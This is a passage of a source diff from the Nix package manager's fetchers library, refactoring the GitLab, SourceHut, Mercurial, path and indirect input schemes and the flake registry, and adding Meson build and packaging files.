"gitlab"; } + std::string_view schemeName() const override { return "gitlab"; } std::optional> accessHeaderFromToken(const std::string & token) const override { @@ -329,22 +431,29 @@ struct GitLabInputScheme : GitArchiveInputScheme return std::make_pair(token.substr(0,fldsplit), token.substr(fldsplit+1)); } - Hash getRevFromRef(nix::ref store, const Input & input) const override + RefInfo getRevFromRef(nix::ref store, const Input & input) const override { auto host = maybeGetStrAttr(input.attrs, "host").value_or("gitlab.com"); // See rate limiting note below auto url = fmt("https://%s/api/v4/projects/%s%%2F%s/repository/commits?ref_name=%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), *input.getRef()); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); auto json = nlohmann::json::parse( readFile( store->toRealPath( - downloadFile(store, url, "source", false, headers).storePath))); - auto rev = Hash::parseAny(std::string(json[0]["id"]), htSHA1); - debug("HEAD revision for '%s' is %s", url, rev.gitRev()); - return rev; + downloadFile(store, url, "source", headers).storePath))); + + if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) { + return RefInfo { + .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1) + }; + } if (json.is_array() && json.size() == 0) { + throw Error("No commits returned by GitLab API -- does the git ref really exist?"); + } else { + throw Error("Unexpected response received from GitLab: %s", json); + } } DownloadUrl getDownloadUrl(const Input & input) const override @@ -357,9 +466,9 @@ struct GitLabInputScheme : GitArchiveInputScheme auto host = maybeGetStrAttr(input.attrs, "host").value_or("gitlab.com"); auto url = fmt("https://%s/api/v4/projects/%s%%2F%s/repository/archive.tar.gz?sha=%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), - input.getRev()->to_string(Base16, false)); + input.getRev()->to_string(HashFormat::Base16, false)); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); return DownloadUrl { url, headers }; } @@ -367,7 +476,7 @@ struct GitLabInputScheme : GitArchiveInputScheme { auto host = maybeGetStrAttr(input.attrs, "host").value_or("gitlab.com"); // FIXME: get username somewhere - Input::fromURL(fmt("git+https://%s/%s/%s.git", + Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s.git", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); @@ -376,7 +485,7 @@ struct GitLabInputScheme : GitArchiveInputScheme struct SourceHutInputScheme : GitArchiveInputScheme { - std::string type() const override { return "sourcehut"; } + std::string_view schemeName() const override { return "sourcehut"; } std::optional> accessHeaderFromToken(const std::string & token) const override { @@ -388,7 +497,7 @@ struct SourceHutInputScheme : GitArchiveInputScheme // Once it is implemented, however, should work as expected. } - Hash getRevFromRef(nix::ref store, const Input & input) const override + RefInfo getRevFromRef(nix::ref store, const Input & input) const override { // TODO: In the future, when the sourcehut graphql API is implemented for mercurial // and with anonymous access, this method should use it instead. @@ -399,12 +508,12 @@ struct SourceHutInputScheme : GitArchiveInputScheme auto base_url = fmt("https://%s/%s/%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo")); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); std::string refUri; if (ref == "HEAD") { auto file = store->toRealPath( - downloadFile(store, fmt("%s/HEAD", base_url), "source", false, headers).storePath); + downloadFile(store, fmt("%s/HEAD", base_url), "source", headers).storePath); std::ifstream is(file); std::string line; getline(is, line); @@ -420,7 +529,7 @@ struct SourceHutInputScheme : GitArchiveInputScheme std::regex refRegex(refUri); auto file = store->toRealPath( - downloadFile(store, fmt("%s/info/refs", base_url), "source", false, headers).storePath); + downloadFile(store, fmt("%s/info/refs", base_url), "source", headers).storePath); std::ifstream is(file); std::string line; @@ -431,12 +540,12 @@ struct SourceHutInputScheme : GitArchiveInputScheme id = parsedLine->target; } - if(!id) + if (!id) throw BadURL("in '%d', couldn't find ref '%d'", input.to_string(), ref); - auto rev = Hash::parseAny(*id, htSHA1); - debug("HEAD revision for '%s' is %s", fmt("%s/%s", base_url, ref), rev.gitRev()); - return rev; + return RefInfo { + .rev = Hash::parseAny(*id, HashAlgorithm::SHA1) + }; } DownloadUrl getDownloadUrl(const Input & input) const override @@ -444,16 +553,16 @@ struct SourceHutInputScheme : GitArchiveInputScheme auto host = maybeGetStrAttr(input.attrs, "host").value_or("git.sr.ht"); auto url = fmt("https://%s/%s/%s/archive/%s.tar.gz", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), - input.getRev()->to_string(Base16, false)); + input.getRev()->to_string(HashFormat::Base16, false)); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); return DownloadUrl { url, headers }; } void clone(const Input & input, const Path & destDir) const override { auto host = maybeGetStrAttr(input.attrs, "host").value_or("git.sr.ht"); - Input::fromURL(fmt("git+https://%s/%s/%s", + Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); diff --git a/src/libfetchers/indirect.cc b/src/libfetchers/indirect.cc index b99504a16..2e5cd82c7 100644 --- a/src/libfetchers/indirect.cc +++ b/src/libfetchers/indirect.cc @@ -1,5 +1,6 @@ #include "fetchers.hh" #include "url-parts.hh" +#include "path.hh" namespace nix::fetchers { @@ -7,7 +8,9 @@ std::regex flakeRegex("[a-zA-Z][a-zA-Z0-9_-]*", std::regex::ECMAScript); struct IndirectInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "flake") return {}; @@ -19,7 +22,7 @@ struct IndirectInputScheme : InputScheme if (path.size() == 1) { } else if (path.size() == 2) { if (std::regex_match(path[1], revRegex)) - rev = Hash::parseAny(path[1], htSHA1); + rev = Hash::parseAny(path[1], HashAlgorithm::SHA1); else if (std::regex_match(path[1], refRegex)) ref = path[1]; else @@ -30,7 +33,7 @@ struct IndirectInputScheme : InputScheme ref = path[1]; if (!std::regex_match(path[2], revRegex)) throw BadURL("in flake URL '%s', '%s' is not a commit hash", url.url, path[2]); - rev = Hash::parseAny(path[2], htSHA1); + rev = Hash::parseAny(path[2], HashAlgorithm::SHA1); } else throw BadURL("GitHub URL '%s' is invalid", url.url); @@ -40,8 +43,7 @@ struct IndirectInputScheme : InputScheme // FIXME: forbid query params? - Input input; - input.direct = false; + Input input{settings}; input.attrs.insert_or_assign("type", "indirect"); input.attrs.insert_or_assign("id", id); if (rev) input.attrs.insert_or_assign("rev", rev->gitRev()); @@ -50,20 +52,30 @@ struct IndirectInputScheme : InputScheme return input; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::string_view schemeName() const override { - if (maybeGetStrAttr(attrs, "type") != "indirect") return {}; + return "indirect"; + } - for (auto & [name, value] : attrs) - if (name != "type" && name != "id" && name != "ref" && name != "rev" && name != "narHash") - throw Error("unsupported indirect input attribute '%s'", name); + StringSet allowedAttrs() const override + { + return { + "id", + "ref", + "rev", + "narHash", + }; + } + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override + { auto id = getStrAttr(attrs, "id"); if (!std::regex_match(id, flakeRegex)) throw BadURL("'%s' is not a valid flake ID", id); - Input input; - input.direct = false; + Input input{settings}; input.attrs = attrs; return input; } @@ -78,11 +90,6 @@ struct IndirectInputScheme : InputScheme return url; } - bool hasAllInfo(const Input & input) const override - { - return false; - } - Input applyOverrides( const Input & _input, std::optional ref, @@ -94,10 +101,18 @@ struct IndirectInputScheme : InputScheme return input; } - std::pair fetch(ref store, const Input & input) override + std::pair, Input> getAccessor(ref store, const Input & input) const override { throw Error("indirect input '%s' cannot be fetched directly", input.to_string()); } + + std::optional experimentalFeature() const override + { + return Xp::Flakes; + } + + bool isDirect(const Input & input) const override + { return false; } }; static auto rIndirectInputScheme = OnStartup([] { registerInputScheme(std::make_unique()); }); diff --git a/src/libfetchers/local.mk b/src/libfetchers/local.mk index 2e8869d83..e229a0993 100644 --- a/src/libfetchers/local.mk +++ b/src/libfetchers/local.mk @@ -6,8 +6,12 @@ libfetchers_DIR := $(d) libfetchers_SOURCES := $(wildcard $(d)/*.cc) -libfetchers_CXXFLAGS += -I src/libutil -I src/libstore +# Not just for this library itself, but also for downstream libraries using this library -libfetchers_LDFLAGS += -pthread +INCLUDE_libfetchers := -I $(d) + +libfetchers_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) + +libfetchers_LDFLAGS += $(THREAD_LDFLAGS) $(LIBGIT2_LIBS) -larchive libfetchers_LIBS = libutil libstore diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc index 86e8f81f4..3feb3cb19 100644 --- a/src/libfetchers/mercurial.cc +++ b/src/libfetchers/mercurial.cc @@ -1,10 +1,12 @@ #include "fetchers.hh" +#include "processes.hh" +#include "users.hh" #include "cache.hh" #include "globals.hh" #include "tarfile.hh" #include "store-api.hh" #include "url-parts.hh" - +#include "store-path-accessor.hh" #include "fetch-settings.hh" #include @@ -21,7 +23,7 @@ static RunOptions hgOptions(const Strings & args) return { .program = "hg", - .searchPath = true, + .lookupPath = true, .args = args, .environment = env }; @@ -43,7 +45,9 @@ static std::string runHg(const Strings & args, const std::optional struct MercurialInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "hg+http" && url.scheme != "hg+https" && @@ -66,17 +70,30 @@ struct MercurialInputScheme : InputScheme attrs.emplace("url", url2.to_string()); - return inputFromAttrs(attrs); + return inputFromAttrs(settings, attrs); } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::string_view schemeName() const override { - if (maybeGetStrAttr(attrs, "type") != "hg") return {}; + return "hg"; + } - for (auto & [name, value] : attrs) - if (name != "type" && name != "url" && name != "ref" && name != "rev" && name != "revCount" && name != "narHash" && name != "name") - throw Error("unsupported Mercurial input attribute '%s'", name); + StringSet allowedAttrs() const override + { + return { + "url", + "ref", + "rev", + "revCount", + "narHash", + "name", + }; + } + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override + { parseURL(getStrAttr(attrs, "url")); if (auto ref = maybeGetStrAttr(attrs, "ref")) { @@ -84,7 +101,7 @@ struct MercurialInputScheme : InputScheme throw BadURL("invalid Mercurial branch/tag name '%s'", *ref); } - Input input; + Input input{settings}; input.attrs = attrs; return input; } @@ -98,13 +115,6 @@ struct MercurialInputScheme : InputScheme return url; } - bool hasAllInfo(const Input & input) const override - { - // FIXME: ugly, need to distinguish between dirty and clean - // default trees. - return input.getRef() == "default" || maybeGetIntAttr(input.attrs, "revCount"); - } - Input applyOverrides( const Input & input, std::optional ref, @@ -116,7 +126,7 @@ struct MercurialInputScheme : InputScheme return res; } - std::optional getSourcePath(const Input & input) override + std::optional getSourcePath(const Input & input) const override { auto url = parseURL(getStrAttr(input.attrs, "url")); if (url.scheme == "file" && !input.getRef() && !input.getRev()) @@ -124,18 +134,27 @@ struct MercurialInputScheme : InputScheme return {}; } - void markChangedFile(const Input & input, std::string_view file, std::optional commitMsg) override + void putFile( + const Input & input, + const CanonPath & path, + std::string_view contents, + std::optional commitMsg) const override { - auto sourcePath = getSourcePath(input); - assert(sourcePath); + auto [isLocal, repoPath] = getActualUrl(input); + if (!isLocal) + throw Error("cannot commit '%s' to Mercurial repository '%s' because it's not a working tree", path, input.to_string()); + + auto absPath = CanonPath(repoPath) / path; + + writeFile(absPath.abs(), contents); // FIXME: shut up if file is already tracked. runHg( - { "add", *sourcePath + "/" + std::string(file) }); + { "add", absPath.abs() }); if (commitMsg) runHg( - { "commit", *sourcePath + "/" + std::string(file), "-m", *commitMsg }); + { "commit", absPath.abs(), "-m", *commitMsg }); } std::pair getActualUrl(const Input & input) const @@ -145,9 +164,9 @@ struct MercurialInputScheme : InputScheme return {isLocal, isLocal ? url.path : url.base}; } - std::pair fetch(ref store, const Input & _input) override + StorePath fetchToStore(ref store, Input & input) const { - Input input(_input); + auto origRev = input.getRev(); auto name = input.getName(); @@ -167,10 +186,10 @@ struct MercurialInputScheme : InputScheme /* This is an unclean working tree. So copy all tracked files. */ - if (!fetchSettings.allowDirty) + if (!input.settings->allowDirty) throw Error("Mercurial tree '%s' is unclean", actualUrl); - if (fetchSettings.warnDirty) + if (input.settings->warnDirty) warn("Mercurial tree '%s' is unclean", actualUrl); input.attrs.insert_or_assign("ref", chomp(runHg({ "branch", "-R", actualUrl }))); @@ -195,64 +214,56 @@ struct MercurialInputScheme : InputScheme return files.count(file); }; - auto storePath = store->addToStore(input.getName(), actualPath, FileIngestionMethod::Recursive, htSHA256, filter); + auto storePath = store->addToStore( + input.getName(), + {getFSSourceAccessor(), CanonPath(actualPath)}, + ContentAddressMethod::Raw::NixArchive, HashAlgorithm::SHA256, {}, + filter); - return {std::move(storePath), input}; + return storePath; } } if (!input.getRef()) input.attrs.insert_or_assign("ref", "default"); - auto checkHashType = [&](const std::optional & hash) + auto revInfoKey = [&](const Hash & rev) { - if (hash.has_value() && hash->type != htSHA1) - throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", hash->to_string(Base16, true)); - }; + if (rev.algo != HashAlgorithm::SHA1) + throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true)); - - auto getLockedAttrs = [&]() - { - checkHashType(input.getRev()); - - return Attrs({ - {"type", "hg"}, + return Cache::Key{"hgRev", { + {"store", store->storeDir}, {"name", name}, - {"rev", input.getRev()->gitRev()}, - }); + {"rev", input.getRev()->gitRev()} + }}; }; - auto makeResult = [&](const Attrs & infoAttrs, StorePath && storePath) - -> std::pair + auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath { assert(input.getRev()); - assert(!_input.getRev() || _input.getRev() == input.getRev()); + assert(!origRev || origRev == input.getRev()); input.attrs.insert_or_assign("revCount", getIntAttr(infoAttrs, "revCount")); - return {std::move(storePath), input}; + return storePath; }; - if (input.getRev()) { - if (auto res = getCache()->lookup(store, getLockedAttrs())) - return makeResult(res->first, std::move(res->second)); - } - - auto revOrRef = input.getRev() ? input.getRev()->gitRev() : *input.getRef(); - - Attrs unlockedAttrs({ - {"type", "hg"}, - {"name", name}, + /* Check the cache for the most recent rev for this URL/ref. */ + Cache::Key refToRevKey{"hgRefToRev", { {"url", actualUrl}, - {"ref", *input.getRef()}, - }); + {"ref", *input.getRef()} + }}; - if (auto res = getCache()->lookup(store, unlockedAttrs)) { - auto rev2 = Hash::parseAny(getStrAttr(res->first, "rev"), htSHA1); - if (!input.getRev() || input.getRev() == rev2) { - input.attrs.insert_or_assign("rev", rev2.gitRev()); - return makeResult(res->first, std::move(res->second)); - } + if (!input.getRev()) { + if (auto res = getCache()->lookupWithTTL(refToRevKey)) + input.attrs.insert_or_assign("rev", getRevAttr(*res, "rev").gitRev()); } - Path cacheDir = fmt("%s/nix/hg/%s", getCacheDir(), hashString(htSHA256, actualUrl).to_string(Base32, false)); + /* If we have a rev, check if we have a cached store path. */ + if (auto rev = input.getRev()) { + if (auto res = getCache()->lookupStorePath(revInfoKey(*rev), *store)) + return makeResult(res->value, res->storePath); + } + + Path cacheDir = fmt("%s/nix/hg/%s", getCacheDir(), hashString(HashAlgorithm::SHA256, actualUrl).to_string(HashFormat::Nix32, false)); /* If this is a commit hash that we already have, we don't have to pull again. */ @@ -282,48 +293,71 @@ struct MercurialInputScheme : InputScheme } } + /* Fetch the remote rev or ref. */ auto tokens = tokenizeString>( - runHg({ "log", "-R", cacheDir, "-r", revOrRef, "--template", "{node} {rev} {branch}" })); + runHg({ + "log", "-R", cacheDir, + "-r", input.getRev() ? input.getRev()->gitRev() : *input.getRef(), + "--template", "{node} {rev} {branch}" + })); assert(tokens.size() == 3); - input.attrs.insert_or_assign("rev", Hash::parseAny(tokens[0], htSHA1).gitRev()); + auto rev = Hash::parseAny(tokens[0], HashAlgorithm::SHA1); + input.attrs.insert_or_assign("rev", rev.gitRev()); auto revCount = std::stoull(tokens[1]); input.attrs.insert_or_assign("ref", tokens[2]); - if (auto res = getCache()->lookup(store, getLockedAttrs())) - return makeResult(res->first, std::move(res->second)); + /* Now that we have the rev, check the cache again for a + cached store path. */ + if (auto res = getCache()->lookupStorePath(revInfoKey(rev), *store)) + return makeResult(res->value, res->storePath); Path tmpDir = createTempDir(); AutoDelete delTmpDir(tmpDir, true); - runHg({ "archive", "-R", cacheDir, "-r", input.getRev()->gitRev(), tmpDir }); + runHg({ "archive", "-R", cacheDir, "-r", rev.gitRev(), tmpDir }); deletePath(tmpDir + "/.hg_archival.txt"); - auto storePath = store->addToStore(name, tmpDir); + auto storePath = store->addToStore(name, {getFSSourceAccessor(), CanonPath(tmpDir)}); Attrs infoAttrs({ - {"rev", input.getRev()->gitRev()}, {"revCount", (uint64_t) revCount}, }); - if (!_input.getRev()) - getCache()->add( - store, - unlockedAttrs, - infoAttrs, - storePath, - false); + if (!origRev) + getCache()->upsert(refToRevKey, {{"rev", rev.gitRev()}}); - getCache()->add( - store, - getLockedAttrs(), - infoAttrs, - storePath, - true); + getCache()->upsert(revInfoKey(rev), *store, infoAttrs, storePath); return makeResult(infoAttrs, std::move(storePath)); } + + std::pair, Input> getAccessor(ref store, const Input & _input) const override + { + Input input(_input); + + auto storePath = fetchToStore(store, input); + + auto accessor = makeStorePathAccessor(store, storePath); + + accessor->setPathDisplay("«" + input.to_string() + "»"); + + return {accessor, input}; + } + + bool isLocked(const Input & input) const override + { + return (bool) input.getRev(); + } + + std::optional getFingerprint(ref store, const Input & input) const override + { + if (auto rev = input.getRev()) + return rev->gitRev(); + else + return std::nullopt; + } }; static auto rMercurialInputScheme = OnStartup([] { registerInputScheme(std::make_unique()); }); diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build new file mode 100644 index 000000000..d4f202796 --- /dev/null +++ b/src/libfetchers/meson.build @@ -0,0 +1,95 @@ +project('nix-fetchers', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +libgit2 = dependency('libgit2') +deps_private += libgit2 + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + # '-include', 'config-fetchers.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'attrs.cc', + 'cache.cc', + 'fetch-settings.cc', + 'fetch-to-store.cc', + 'fetchers.cc', + 'filtering-source-accessor.cc', + 'git.cc', + 'git-utils.cc', + 'github.cc', + 'indirect.cc', + 'mercurial.cc', + 'mounted-source-accessor.cc', + 'path.cc', + 'store-path-accessor.cc', + 'registry.cc', + 'tarball.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'attrs.hh', + 'cache.hh', + 'fetch-settings.hh', + 'fetch-to-store.hh', + 'filtering-source-accessor.hh', + 'git-utils.hh', + 'mounted-source-accessor.hh', + 'fetchers.hh', + 'registry.hh', + 'store-path-accessor.hh', + 'tarball.hh', +) + +this_library = library( + 'nixfetchers', + sources, + dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libfetchers/mounted-source-accessor.cc b/src/libfetchers/mounted-source-accessor.cc new file mode 100644 index 000000000..68f3a546b --- /dev/null +++ b/src/libfetchers/mounted-source-accessor.cc @@ -0,0 +1,79 @@ +#include "mounted-source-accessor.hh" + +namespace nix { + +struct MountedSourceAccessor : SourceAccessor +{ + std::map> mounts; + + MountedSourceAccessor(std::map> _mounts) + : mounts(std::move(_mounts)) + { + displayPrefix.clear(); + + // Currently we require a root filesystem. This could be relaxed. + assert(mounts.contains(CanonPath::root)); + + // FIXME: return dummy parent directories automatically? + } + + std::string readFile(const CanonPath & path) override + { + auto [accessor, subpath] = resolve(path); + return accessor->readFile(subpath); + } + + bool pathExists(const CanonPath & path) override + { + auto [accessor, subpath] = resolve(path); + return accessor->pathExists(subpath); + } + + std::optional maybeLstat(const CanonPath & path) override + { + auto [accessor, subpath] = resolve(path); + return accessor->maybeLstat(subpath); + } + + DirEntries readDirectory(const CanonPath & path) override + { + auto [accessor, subpath] = resolve(path); + return accessor->readDirectory(subpath); + } + + std::string readLink(const CanonPath & path) override + { + auto [accessor, subpath] = resolve(path); + return accessor->readLink(subpath); + } + + std::string showPath(const CanonPath & path) override + { + auto [accessor, subpath] = resolve(path); + return displayPrefix + accessor->showPath(subpath) + displaySuffix; + } + + std::pair, CanonPath> resolve(CanonPath path) + { + // Find the nearest parent of `path` that is a mount point. + std::vector subpath; + while (true) { + auto i = mounts.find(path); + if (i != mounts.end()) { + std::reverse(subpath.begin(), subpath.end()); + return {i->second, CanonPath(subpath)}; + } + + assert(!path.isRoot()); + subpath.push_back(std::string(*path.baseName())); + path.pop(); + } + } +}; + +ref makeMountedSourceAccessor(std::map> mounts) +{ + return make_ref(std::move(mounts)); +} + +} diff --git a/src/libfetchers/mounted-source-accessor.hh b/src/libfetchers/mounted-source-accessor.hh new file mode 100644 index 000000000..45cbcb09a --- /dev/null +++ b/src/libfetchers/mounted-source-accessor.hh @@ -0,0 +1,9 @@ +#pragma once + +#include "source-accessor.hh" + +namespace nix { + +ref makeMountedSourceAccessor(std::map> mounts); + +} diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix new file mode 100644 index 000000000..9b5d8bff7 --- /dev/null +++ b/src/libfetchers/package.nix @@ -0,0 +1,78 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store +, nlohmann_json +, libgit2 +, man + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-fetchers"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + libgit2 + ]; + + propagatedBuildInputs = [ + nix-store + nix-util + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 61541e69d..fca0df84b 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -1,19 +1,22 @@ #include "fetchers.hh" #include "store-api.hh" #include "archive.hh" +#include "store-path-accessor.hh" namespace nix::fetchers { struct PathInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "path") return {}; if (url.authority && *url.authority != "") throw Error("path URL '%s' should not have an authority ('%s')", url.url, *url.authority); - Input input; + Input input{settings}; input.attrs.insert_or_assign("type", "path"); input.attrs.insert_or_assign("path", url.path); @@ -32,24 +35,34 @@ struct PathInputScheme : InputScheme return input; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::string_view schemeName() const override { - if (maybeGetStrAttr(attrs, "type") != "path") return {}; + return "path"; + } + StringSet allowedAttrs() const override + { + return { + "path", + /* Allow the user to pass in "fake" tree info + attributes. This is useful for making a pinned tree work + the same as the repository from which is exported (e.g. + path:/nix/store/...-source?lastModified=1585388205&rev=b0c285...). + */ + "rev", + "revCount", + "lastModified", + "narHash", + }; + } + + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override + { getStrAttr(attrs, "path"); - for (auto & [name, value] : attrs) - /* Allow the user to pass in "fake" tree info - attributes. This is useful for making a pinned tree - work the same as the repository from which is exported - (e.g. path:/nix/store/...-source?lastModified=1585388205&rev=b0c285...). */ - if (name == "type" || name == "rev" || name == "revCount" || name == "lastModified" || name == "narHash" || name == "path") - // checked in Input::fromAttrs - ; - else - throw Error("unsupported path input attribute '%s'", name); - - Input input; + Input input{settings}; input.attrs = attrs; return input; } @@ -66,22 +79,45 @@ struct PathInputScheme : InputScheme }; } - bool hasAllInfo(const Input & input) const override - { - return true; - } - - std::optional getSourcePath(const Input & input) override + std::optional getSourcePath(const Input & input) const override { return getStrAttr(input.attrs, "path"); } - void markChangedFile(const Input & input, std::string_view file, std::optional commitMsg) override + void putFile( + const Input & input, + const CanonPath & path, + std::string_view contents, + std::optional commitMsg) const override { - // nothing to do + writeFile((CanonPath(getAbsPath(input)) / path).abs(), contents); } - std::pair fetch(ref store, const Input & _input) override + std::optional isRelative(const Input & input) const + { + auto path = getStrAttr(input.attrs, "path"); + if (hasPrefix(path, "/")) + return std::nullopt; + else + return path; + } + + bool isLocked(const Input & input) const override + { + return (bool) input.getNarHash(); + } + + CanonPath getAbsPath(const Input & input) const + { + auto path = getStrAttr(input.attrs, "path"); + + if (path[0] == '/') + return CanonPath(path); + + throw Error("cannot fetch input '%s' because it uses a relative path", input.to_string()); + } + + std::pair, Input> getAccessor(ref store, const Input & _input) const override { Input input(_input); std::string absPath; @@ -123,7 +159,29 @@ struct PathInputScheme : InputScheme } input.attrs.insert_or_assign("lastModified", uint64_t(mtime)); - return {std::move(*storePath), input}; + return {makeStorePathAccessor(store, *storePath), std::move(input)}; + } + + std::optional getFingerprint(ref store, const Input & input) const override + { + if (isRelative(input)) + return std::nullopt; + + /* If this path is in the Nix store, use the hash of the + store object and the subpath. */ + auto path = getAbsPath(input); + try { + auto [storePath, subPath] = store->toStorePath(path.abs()); + auto info = store->queryPathInfo(storePath); + return fmt("path:%s:%s", info->narHash.to_string(HashFormat::Base16, false), subPath); + } catch (Error &) { + return std::nullopt; + } + } + + std::optional experimentalFeature() const override + { + return Xp::Flakes; } }; diff --git a/src/libfetchers/registry.cc b/src/libfetchers/registry.cc index 43c03beec..3c893c8ea 100644 --- a/src/libfetchers/registry.cc +++ b/src/libfetchers/registry.cc @@ -1,23 +1,23 @@ +#include "fetch-settings.hh" #include "registry.hh" -#include "fetchers.hh" -#include "util.hh" +#include "tarball.hh" +#include "users.hh" #include "globals.hh" #include "store-api.hh" #include "local-fs-store.hh" -#include "fetch-settings.hh" - #include namespace nix::fetchers { std::shared_ptr Registry::read( + const Settings & settings, const Path & path, RegistryType type) { - auto registry = std::make_shared(type); + auto registry = std::make_shared(settings, type); if (!pathExists(path)) - return std::make_shared(type); + return std::make_shared(settings, type); try { @@ -37,8 +37,8 @@ std::shared_ptr Registry::read( auto exact = i.find("exact"); registry->entries.push_back( Entry { - .from = Input::fromAttrs(jsonToAttrs(i["from"])), - .to = Input::fromAttrs(std::move(toAttrs)), + .from = Input::fromAttrs(settings, jsonToAttrs(i["from"])), + .to = Input::fromAttrs(settings, std::move(toAttrs)), .extraAttrs = extraAttrs, .exact = exact != i.end() && exact.value() }); @@ -107,10 +107,10 @@ static Path getSystemRegistryPath() return settings.nixConfDir + "/registry.json"; } -static std::shared_ptr getSystemRegistry() +static std::shared_ptr getSystemRegistry(const Settings & settings) { static auto systemRegistry = - Registry::read(getSystemRegistryPath(), Registry::System); + Registry::read(settings, getSystemRegistryPath(), Registry::System); return systemRegistry; } @@ -119,25 +119,24 @@ Path getUserRegistryPath() return getConfigDir() + "/nix/registry.json"; } -std::shared_ptr getUserRegistry() +std::shared_ptr getUserRegistry(const Settings & settings) { static auto userRegistry = - Registry::read(getUserRegistryPath(), Registry::User); + Registry::read(settings, getUserRegistryPath(), Registry::User); return userRegistry; } -std::shared_ptr getCustomRegistry(const Path & p) +std::shared_ptr getCustomRegistry(const Settings & settings, const Path & p) { static auto customRegistry = - Registry::read(p, Registry::Custom); + Registry::read(settings, p, Registry::Custom); return customRegistry; } -static std::shared_ptr flagRegistry = - std::make_shared(Registry::Flag); - -std::shared_ptr getFlagRegistry() +std::shared_ptr getFlagRegistry(const Settings & settings) { + static auto flagRegistry = + std::make_shared(settings, Registry::Flag); return flagRegistry; } @@ -146,37 +145,37 @@ void overrideRegistry( const Input & to, const Attrs & extraAttrs) { - flagRegistry->add(from, to, extraAttrs); + getFlagRegistry(*from.settings)->add(from, to, extraAttrs); } -static std::shared_ptr getGlobalRegistry(ref store) +static std::shared_ptr getGlobalRegistry(const Settings & settings, ref store) { static auto reg = [&]() { - auto path = fetchSettings.flakeRegistry.get(); + auto path = settings.flakeRegistry.get(); if (path == 